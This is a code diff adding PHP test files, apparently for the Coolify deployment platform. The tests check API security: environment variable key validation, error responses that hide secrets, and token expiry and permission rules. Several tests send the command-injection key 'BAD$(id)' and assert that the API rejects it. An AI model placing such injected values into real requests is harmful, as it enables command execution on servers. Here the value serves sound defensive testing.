@@ -73,7 +73,7 @@ test('returns 404 when application uuid belongs to another team', function () {
 });
 
 test('returns 404 for nonexistent application uuid', function () {
-    $response = $this->withHeaders(authHeaders())
+    $response = $this->withHeaders(domainApiAuthHeaders())
         ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
 
     $response->assertNotFound();

tests/Feature/Api/EnvironmentVariableUpdateApiTest.php

@@ -15,7 +15,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
 uses(RefreshDatabase::class);
 
 beforeEach(function () {
-    InstanceSettings::updateOrCreate(['id' => 0]);
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0], ['is_api_enabled' => true]));
 
     $this->team = Team::factory()->create();
     $this->user = User::factory()->create();
@@ -252,3 +252,94 @@ describe('PATCH /api/v1/applications/{uuid}/envs', function () {
         $response->assertJsonFragment(['uuid' => ['This field is not allowed.']]);
     });
 });
+
+describe('environment variable key validation for app and service APIs', function () {
+    test('rejects invalid service environment variable keys on create update and bulk', function () {
+        $service = Service::factory()->create([
+            'server_id' => $this->server->id,
+            'destination_id' => $this->destination->id,
+            'destination_type' => $this->destination->getMorphClass(),
+            'environment_id' => $this->environment->id,
+        ]);
+
+        EnvironmentVariable::create([
+            'key' => 'SAFE_KEY',
+            'value' => 'old-value',
+            'resourceable_type' => Service::class,
+            'resourceable_id' => $service->id,
+            'is_preview' => false,
+        ]);
+
+        $headers = [
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ];
+
+        $this->withHeaders($headers)
+            ->postJson("/api/v1/services/{$service->uuid}/envs", [
+                'key' => 'BAD$(id)',
+                'value' => '1',
+            ])
+            ->assertStatus(422);
+
+        $this->withHeaders($headers)
+            ->patchJson("/api/v1/services/{$service->uuid}/envs", [
+                'key' => 'BAD$(id)',
+                'value' => '1',
+            ])
+            ->assertStatus(422);
+
+        $this->withHeaders($headers)
+            ->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
+                'data' => [[
+                    'key' => 'BAD$(id)',
+                    'value' => '1',
+                ]],
+            ])
+            ->assertStatus(422);
+    });
+
+    test('rejects invalid application environment variable keys on create update and bulk', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'destination_id' => $this->destination->id,
+            'destination_type' => $this->destination->getMorphClass(),
+        ]);
+
+        EnvironmentVariable::create([
+            'key' => 'SAFE_KEY',
+            'value' => 'old-value',
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'is_preview' => false,
+        ]);
+
+        $headers = [
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ];
+
+        $this->withHeaders($headers)
+            ->postJson("/api/v1/applications/{$application->uuid}/envs", [
+                'key' => 'BAD$(id)',
+                'value' => '1',
+            ])
+            ->assertStatus(422);
+
+        $this->withHeaders($headers)
+            ->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+                'key' => 'BAD$(id)',
+                'value' => '1',
+            ])
+            ->assertStatus(422);
+
+        $this->withHeaders($headers)
+            ->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
+                'data' => [[
+                    'key' => 'BAD$(id)',
+                    'value' => '1',
+                ]],
+            ])
+            ->assertStatus(422);
+    });
+});

tests/Feature/Api/HetznerApiTest.php

@@ -1,15 +1,23 @@
 <?php
 
 use App\Models\CloudProviderToken;
+use App\Models\InstanceSettings;
 use App\Models\PrivateKey;
 use App\Models\Team;
 use App\Models\User;
 use Illuminate\Foundation\Testing\RefreshDatabase;
 use Illuminate\Support\Facades\Http;
+use Illuminate\Support\Once;
 
 uses(RefreshDatabase::class);
 
 beforeEach(function () {
+    InstanceSettings::query()->whereKey(0)->delete();
+    $settings = new InstanceSettings(['is_api_enabled' => true]);
+    $settings->id = 0;
+    $settings->save();
+    Once::flush();
+
     // Create a team with owner
     $this->team = Team::factory()->create();
     $this->user = User::factory()->create();
@@ -73,6 +81,27 @@ describe('GET /api/v1/hetzner/locations', function () {
 
         $response->assertStatus(404);
     });
+
+    test('member read token cannot use a stored cloud provider token', function () {
+        $member = User::factory()->create();
+        $this->team->members()->attach($member->id, ['role' => 'member']);
+        session(['currentTeam' => $this->team]);
+        $memberToken = $member->createToken('member-read', ['read'])->plainTextToken;
+
+        Http::fake([
+            'https://api.hetzner.cloud/v1/locations*' => Http::response([
+                'locations' => [['id' => 1, 'name' => 'nbg1']],
+            ], 200),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$memberToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertForbidden();
+        Http::assertNothingSent();
+    });
 });
 
 describe('GET /api/v1/hetzner/server-types', function () {
@@ -446,3 +475,74 @@ describe('POST /api/v1/servers/hetzner', function () {
         $response->assertStatus(401);
     });
 });
+
+describe('error responses do not leak exception details', function () {
+    test('locations endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/locations*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc /var/secret/path'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner locations.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+        expect($response->getContent())->not->toContain('/var/secret/path');
+    });
+
+    test('server-types endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/server_types*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/server-types?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner server types.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+    });
+
+    test('images endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/images*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/images?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner images.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+    });
+
+    test('ssh-keys endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/ssh_keys*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/ssh-keys?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner SSH keys.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+    });
+});

tests/Feature/Api/RailpackApiTest.php

@@ -0,0 +1,344 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    session(['currentTeam' => $this->team]);
+
+    $plainTextToken = Str::random(40);
+    $token = $this->user->tokens()->create([
+        'name' => 'railpack-api-test-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => ['*'],
+        'team_id' => $this->team->id,
+    ]);
+    $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function railpackApiHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+function makeRailpackApp(array $overrides = []): Application
+{
+    return Application::factory()->create(array_merge([
+        'environment_id' => test()->environment->id,
+        'destination_id' => test()->destination->id,
+        'destination_type' => test()->destination->getMorphClass(),
+        'build_pack' => 'railpack',
+    ], $overrides));
+}
+
+describe('PATCH /api/v1/applications/{uuid} build_pack=railpack', function () {
+    test('rejects unsupported build_pack at controller layer', function () {
+        $app = makeRailpackApp();
+
+        $response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$app->uuid}", [
+                'build_pack' => 'totally-bogus',
+            ]);
+
+        $response->assertStatus(422);
+    });
+
+    test('switching from dockerfile to railpack clears dockerfile fields', function () {
+        $app = makeRailpackApp([
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM node:20',
+            'dockerfile_location' => '/Dockerfile',
+            'dockerfile_target_build' => 'production',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        $response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$app->uuid}", [
+                'build_pack' => 'railpack',
+            ]);
+
+        $response->assertOk();
+
+        $app->refresh();
+        expect($app->build_pack)->toBe('railpack');
+        expect($app->dockerfile)->toBeNull();
+        expect($app->dockerfile_location)->toBeNull();
+        expect($app->dockerfile_target_build)->toBeNull();
+        expect((bool) $app->custom_healthcheck_found)->toBeFalse();
+    });
+
+    test('switching from dockercompose to railpack clears compose fields and SERVICE_* envs', function () {
+        $app = makeRailpackApp([
+            'build_pack' => 'dockercompose',
+            'docker_compose_domains' => '{"app": "example.com"}',
+            'docker_compose_raw' => "version: '3'\nservices:\n  app:\n    image: nginx",
+        ]);
+
+        $app->environment_variables()->createMany([
+            ['key' => 'SERVICE_FQDN_APP', 'value' => 'app.example.com', 'is_buildtime' => false, 'is_preview' => false],
+            ['key' => 'SERVICE_URL_APP', 'value' => 'http://app.example.com', 'is_buildtime' => false, 'is_preview' => false],
+            ['key' => 'REGULAR_VAR', 'value' => 'keep_me', 'is_buildtime' => false, 'is_preview' => false],
+        ]);
+
+        $response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$app->uuid}", [
+                'build_pack' => 'railpack',
+            ]);
+
+        $response->assertOk();
+
+        $app->refresh();
+        expect($app->build_pack)->toBe('railpack');
+        expect($app->docker_compose_domains)->toBeNull();
+        expect($app->docker_compose_raw)->toBeNull();
+        expect($app->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0);
+        expect($app->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0);
+        expect($app->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
+    });
+
+    test('install/build/start commands persist for railpack apps', function () {
+        $app = makeRailpackApp();
+
+        $response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$app->uuid}", [
+                'install_command' => 'npm ci',
+                'build_command' => 'npm run build',
+                'start_command' => 'node server.js',
+            ]);
+
+        $response->assertOk();
+
+        $app->refresh();
+        expect($app->install_command)->toBe('npm ci');
+        expect($app->build_command)->toBe('npm run build');
+        expect($app->start_command)->toBe('node server.js');
+    });
+});
+
+describe('POST /api/v1/applications/{uuid}/envs RAILPACK_* handling', function () {
+    test('adding RAILPACK_NODE_VERSION via API surfaces in railpack_environment_variables only', function () {
+        $app = makeRailpackApp();
+
+        $response = $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'RAILPACK_NODE_VERSION',
+                'value' => '20',
+                'is_buildtime' => true,
+                'is_runtime' => false,
+                'is_preview' => false,
+            ]);
+
+        $response->assertCreated();
+
+        $app->refresh();
+        expect($app->railpack_environment_variables)->toHaveCount(1);
+        expect($app->railpack_environment_variables->first()->key)->toBe('RAILPACK_NODE_VERSION');
+        expect($app->runtime_environment_variables->where('key', 'RAILPACK_NODE_VERSION'))->toHaveCount(0);
+    });
+
+    test('runtime envs added via API surface in runtime_environment_variables but not railpack_*', function () {
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'APP_ENV',
+                'value' => 'production',
+                'is_runtime' => true,
+                'is_buildtime' => false,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'NIXPACKS_NODE_VERSION',
+                'value' => '18',
+                'is_buildtime' => true,
+                'is_runtime' => false,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $app->refresh();
+        $runtime = $app->runtime_environment_variables;
+        expect($runtime->pluck('key')->all())->toBe(['APP_ENV']);
+        expect($app->railpack_environment_variables)->toHaveCount(0);
+    });
+
+    test('preview RAILPACK_* envs surface in railpack_environment_variables_preview only', function () {
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'RAILPACK_BUILD_CMD',
+                'value' => 'npm run build',
+                'is_buildtime' => true,
+                'is_runtime' => false,
+                'is_preview' => true,
+            ])->assertCreated();
+
+        $app->refresh();
+        expect($app->railpack_environment_variables_preview)->toHaveCount(1);
+        expect($app->railpack_environment_variables)->toHaveCount(0);
+    });
+
+    test('buildtime-only env has is_buildtime=true and is_runtime=false', function () {
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'API_KEY',
+                'value' => 'sekret',
+                'is_buildtime' => true,
+                'is_runtime' => false,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $app->refresh();
+        $env = $app->environment_variables()->where('key', 'API_KEY')->first();
+        expect($env)->not->toBeNull();
+        expect((bool) $env->is_buildtime)->toBeTrue();
+        expect((bool) $env->is_runtime)->toBeFalse();
+        // Buildtime-only non-RAILPACK_ var: visible to runtime relation (it's not a buildpack-control var)
+        // but is_runtime flag is false; consumers gate runtime via is_runtime, not via the relation alone.
+        expect($env->resourceable_id)->toBe($app->id);
+    });
+
+    test('runtime-only env has is_runtime=true and is_buildtime=false', function () {
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'LOG_LEVEL',
+                'value' => 'debug',
+                'is_buildtime' => false,
+                'is_runtime' => true,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $app->refresh();
+        $env = $app->environment_variables()->where('key', 'LOG_LEVEL')->first();
+        expect((bool) $env->is_buildtime)->toBeFalse();
+        expect((bool) $env->is_runtime)->toBeTrue();
+    });
+
+    test('railpack build variables collection includes only is_buildtime=true entries', function () {
+        // Sanity check the underlying query used by the deploy job: railpack_build_variables()
+        // pulls $application->environment_variables()->where('is_buildtime', true)->get()
+        // (see ApplicationDeploymentJob::railpack_build_variables).
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'BUILD_ARG',
+                'value' => 'in-build',
+                'is_buildtime' => true,
+                'is_runtime' => false,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'RUNTIME_ARG',
+                'value' => 'in-runtime',
+                'is_buildtime' => false,
+                'is_runtime' => true,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $app->refresh();
+        $buildtime = $app->environment_variables()->where('is_buildtime', true)->pluck('key')->all();
+        expect($buildtime)->toContain('BUILD_ARG');
+        expect($buildtime)->not->toContain('RUNTIME_ARG');
+    });
+
+    test('user-defined COOLIFY_FQDN takes precedence over auto-generated', function () {
+        // Documents generate_coolify_env_variables() override behavior:
+        // it skips generation when application->environment_variables already has the key.
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'COOLIFY_FQDN',
+                'value' => 'overridden.example.com',
+                'is_buildtime' => true,
+                'is_runtime' => true,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $app->refresh();
+        $env = $app->environment_variables()->where('key', 'COOLIFY_FQDN')->first();
+        expect($env)->not->toBeNull();
+        expect($env->value)->toBe('overridden.example.com');
+        // Confirm the model relation used by override-skip logic finds it
+        expect($app->environment_variables->where('key', 'COOLIFY_FQDN')->isEmpty())->toBeFalse();
+    });
+
+    test('is_literal flag persists on create', function () {
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'RAILPACK_LITERAL_FLAG',
+                'value' => '$NOT_INTERPOLATED',
+                'is_buildtime' => true,
+                'is_runtime' => false,
+                'is_preview' => false,
+                'is_literal' => true,
+            ])->assertCreated();
+
+        $app->refresh();
+        $env = $app->environment_variables()->where('key', 'RAILPACK_LITERAL_FLAG')->first();
+        expect((bool) $env->is_literal)->toBeTrue();
+    });
+
+    test('PATCH env updates buildtime/runtime flags', function () {
+        $app = makeRailpackApp();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->postJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'TOGGLE_VAR',
+                'value' => 'v1',
+                'is_buildtime' => true,
+                'is_runtime' => true,
+                'is_preview' => false,
+            ])->assertCreated();
+
+        $this->withHeaders(railpackApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$app->uuid}/envs", [
+                'key' => 'TOGGLE_VAR',
+                'value' => 'v2',
+                'is_buildtime' => false,
+                'is_runtime' => true,
+                'is_multiline' => false,
+                'is_shown_once' => false,
+            ])->assertStatus(201);
+
+        $app->refresh();
+        $env = $app->environment_variables()->where('key', 'TOGGLE_VAR')->first();
+        expect($env->value)->toBe('v2');
+        expect((bool) $env->is_buildtime)->toBeFalse();
+        expect((bool) $env->is_runtime)->toBeTrue();
+    });
+});

tests/Feature/ApiTokenExpirationTest.php

@@ -0,0 +1,81 @@
+<?php
+
+use App\Livewire\Security\ApiTokens;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    session(['currentTeam' => $this->team]);
+    $this->actingAs($this->user);
+});
+
+describe('token creation with expiration', function () {
+    test('livewire component stores expires_at when expiresInDays set', function () {
+        Livewire::test(ApiTokens::class)
+            ->set('description', 'test-token')
+            ->set('expiresInDays', 7)
+            ->set('permissions', ['read'])
+            ->call('addNewToken')
+            ->assertHasNoErrors();
+
+        $token = $this->user->tokens()->latest()->first();
+
+        expect($token)->not->toBeNull()
+            ->and($token->expires_at)->not->toBeNull()
+            ->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6)
+            ->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7);
+    });
+
+    test('livewire component stores null expires_at when expiresInDays null (Never)', function () {
+        Livewire::test(ApiTokens::class)
+            ->set('description', 'never-token')
+            ->set('expiresInDays', null)
+            ->set('permissions', ['read'])
+            ->call('addNewToken')
+            ->assertHasNoErrors();
+
+        $token = $this->user->tokens()->latest()->first();
+
+        expect($token)->not->toBeNull()
+            ->and($token->expires_at)->toBeNull();
+    });
+
+    test('livewire component rejects invalid expiresInDays value', function () {
+        Livewire::test(ApiTokens::class)
+            ->set('description', 'bad-token')
+            ->set('expiresInDays', 42)
+            ->set('permissions', ['read'])
+            ->call('addNewToken')
+            ->assertHasErrors('expiresInDays');
+    });
+});
+
+describe('expired token rejected on API', function () {
+    test('request with expired token returns 401', function () {
+        $token = $this->user->createToken('expired', ['read'], now()->subDay());
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$token->plainTextToken,
+        ])->getJson('/api/v1/projects');
+
+        $response->assertStatus(401);
+    });
+
+    test('request with non-expired token works', function () {
+        $token = $this->user->createToken('valid', ['read'], now()->addDay());
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$token->plainTextToken,
+        ])->getJson('/api/v1/projects');
+
+        $response->assertStatus(200);
+    });
+});

tests/Feature/ApiTokenExpirationWarningTest.php

@@ -0,0 +1,130 @@
+<?php
+
+use App\Jobs\ApiTokenExpirationWarningJob;
+use App\Models\PersonalAccessToken;
+use App\Models\Team;
+use App\Models\User;
+use App\Notifications\ApiTokenExpiringNotification;
+use Carbon\Carbon;
+use Illuminate\Contracts\Notifications\Dispatcher;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Cache;
+use Illuminate\Support\Facades\Notification;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    $this->team->emailNotificationSettings()->update(['use_instance_email_settings' => true]);
+    $this->team->discordNotificationSettings()->update([
+        'discord_enabled' => true,
+        'discord_webhook_url' => 'https://discord.com/api/webhooks/fake/fake',
+    ]);
+
+    session(['currentTeam' => $this->team]);
+    $this->actingAs($this->user);
+
+    Cache::flush();
+    Notification::fake();
+});
+
+function createTokenExpiring(User $user, Team $team, ?Carbon $expiresAt, ?Carbon $warningSentAt = null): PersonalAccessToken
+{
+    $plain = $user->createToken('t-'.uniqid(), ['read'], $expiresAt);
+    $token = $plain->accessToken;
+    $token->team_id = $team->id;
+    $token->api_token_expiration_warning_sent_at = $warningSentAt;
+    $token->save();
+
+    return $token->fresh();
+}
+
+describe('ApiTokenExpirationWarningJob', function () {
+    test('notifies team when token expires within 24h', function () {
+        $token = createTokenExpiring($this->user, $this->team, now()->addHours(23));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertSentTo($this->team, ApiTokenExpiringNotification::class);
+        expect($token->fresh()->api_token_expiration_warning_sent_at)->not->toBeNull();
+    });
+
+    test('does not mark token as warned when notification fails', function () {
+        $token = createTokenExpiring($this->user, $this->team, now()->addHours(23));
+        $dispatcher = Mockery::mock(Dispatcher::class);
+        $dispatcher->shouldReceive('send')
+            ->once()
+            ->andThrow(new RuntimeException('Notification failed'));
+
+        $this->app->instance(Dispatcher::class, $dispatcher);
+
+        expect(fn () => (new ApiTokenExpirationWarningJob)->handle())
+            ->toThrow(RuntimeException::class, 'Notification failed');
+
+        expect($token->fresh()->api_token_expiration_warning_sent_at)->toBeNull();
+    });
+
+    test('database marker prevents duplicate warnings on repeat runs', function () {
+        createTokenExpiring($this->user, $this->team, now()->addHours(12));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
+    });
+
+    test('database marker prevents duplicate warnings after cache is flushed', function () {
+        createTokenExpiring($this->user, $this->team, now()->addHours(12));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Cache::flush();
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
+    });
+
+    test('skips tokens that already have an expiration warning marker', function () {
+        createTokenExpiring($this->user, $this->team, now()->addHours(12), now()->subHour());
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertNothingSent();
+    });
+
+    test('notifies once for each unmarked expiring token', function () {
+        createTokenExpiring($this->user, $this->team, now()->addHours(12));
+        createTokenExpiring($this->user, $this->team, now()->addHours(23));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 2);
+    });
+
+    test('skips tokens expiring more than 24h out', function () {
+        createTokenExpiring($this->user, $this->team, now()->addDays(3));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertNothingSent();
+    });
+
+    test('skips already-expired tokens', function () {
+        createTokenExpiring($this->user, $this->team, now()->subHour());
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertNothingSent();
+    });
+
+    test('skips tokens with null expires_at', function () {
+        createTokenExpiring($this->user, $this->team, null);
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertNothingSent();
+    });
+});

tests/Feature/ApiTokenLivewireAuthorizationTest.php

@@ -0,0 +1,97 @@
+<?php
+
+use App\Livewire\Security\ApiTokens;
+use App\Models\InstanceSettings;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Attributes\Locked;
+use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create([
+        'id' => 0,
+        'is_api_enabled' => true,
+    ]));
+
+    $this->team = Team::factory()->create();
+});
+
+test('api token permission flags are locked', function (string $property) {
+    $property = new ReflectionProperty(ApiTokens::class, $property);
+
+    expect($property->getAttributes(Locked::class))->not->toBeEmpty();
+})->with([
+    'root permission flag' => 'canUseRootPermissions',
+    'write permission flag' => 'canUseWritePermissions',
+]);
+
+test('member cannot tamper with root permission flag', function () {
+    $member = User::factory()->create();
+    $this->team->members()->attach($member->id, ['role' => 'member']);
+
+    $this->actingAs($member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApiTokens::class)
+        ->set('canUseRootPermissions', true);
+})->throws(CannotUpdateLockedPropertyException::class);
+
+test('member cannot create root token through tampered permissions payload', function () {
+    $member = User::factory()->create();
+    $this->team->members()->attach($member->id, ['role' => 'member']);
+
+    $this->actingAs($member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApiTokens::class)
+        ->set('description', 'pwned-root-token')
+        ->set('expiresInDays', 30)
+        ->set('permissions', ['root'])
+        ->call('addNewToken');
+
+    expect($member->tokens()->count())->toBe(0);
+});
+
+test('member can still create read token', function () {
+    $member = User::factory()->create();
+    $this->team->members()->attach($member->id, ['role' => 'member']);
+
+    $this->actingAs($member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApiTokens::class)
+        ->set('description', 'read-token')
+        ->set('expiresInDays', 30)
+        ->set('permissions', ['read'])
+        ->call('addNewToken')
+        ->assertHasNoErrors();
+
+    $token = $member->tokens()->latest()->first();
+
+    expect($token)->not->toBeNull()
+        ->and($token->abilities)->toBe(['read']);
+});
+
+test('owner can create root token', function () {
+    $owner = User::factory()->create();
+    $this->team->members()->attach($owner->id, ['role' => 'owner']);
+
+    $this->actingAs($owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApiTokens::class)
+        ->set('description', 'root-token')
+        ->set('expiresInDays', 30)
+        ->set('permissions', ['root'])
+        ->call('addNewToken')
+        ->assertHasNoErrors();
+
+    $token = $owner->tokens()->latest()->first();
+
+    expect($token)->not->toBeNull()
+        ->and($token->abilities)->toBe(['root']);
+});

tests/Feature/ApiTokenTeamLifecycleSecurityTest.php

@@ -0,0 +1,128 @@
+<?php
+
+use App\Livewire\Security\ApiTokens;
+use App\Livewire\Team\Member;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Hash;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate(
+        ['id' => 0],
+        ['is_api_enabled' => true],
+    ));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'admin']);
+    session(['currentTeam' => $this->team]);
+});
+
+function bearerJson(string $token): array
+{
+    return [
+        'Authorization' => 'Bearer '.$token,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+test('removed member token cannot read team projects', function () {
+    Project::create(['name' => 'Secret', 'team_id' => $this->team->id]);
+    $token = $this->user->createToken('read-token', ['read'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $this->withHeaders(bearerJson($token))
+        ->getJson('/api/v1/projects')
+        ->assertUnauthorized();
+});
+
+test('removed member token cannot create team projects', function () {
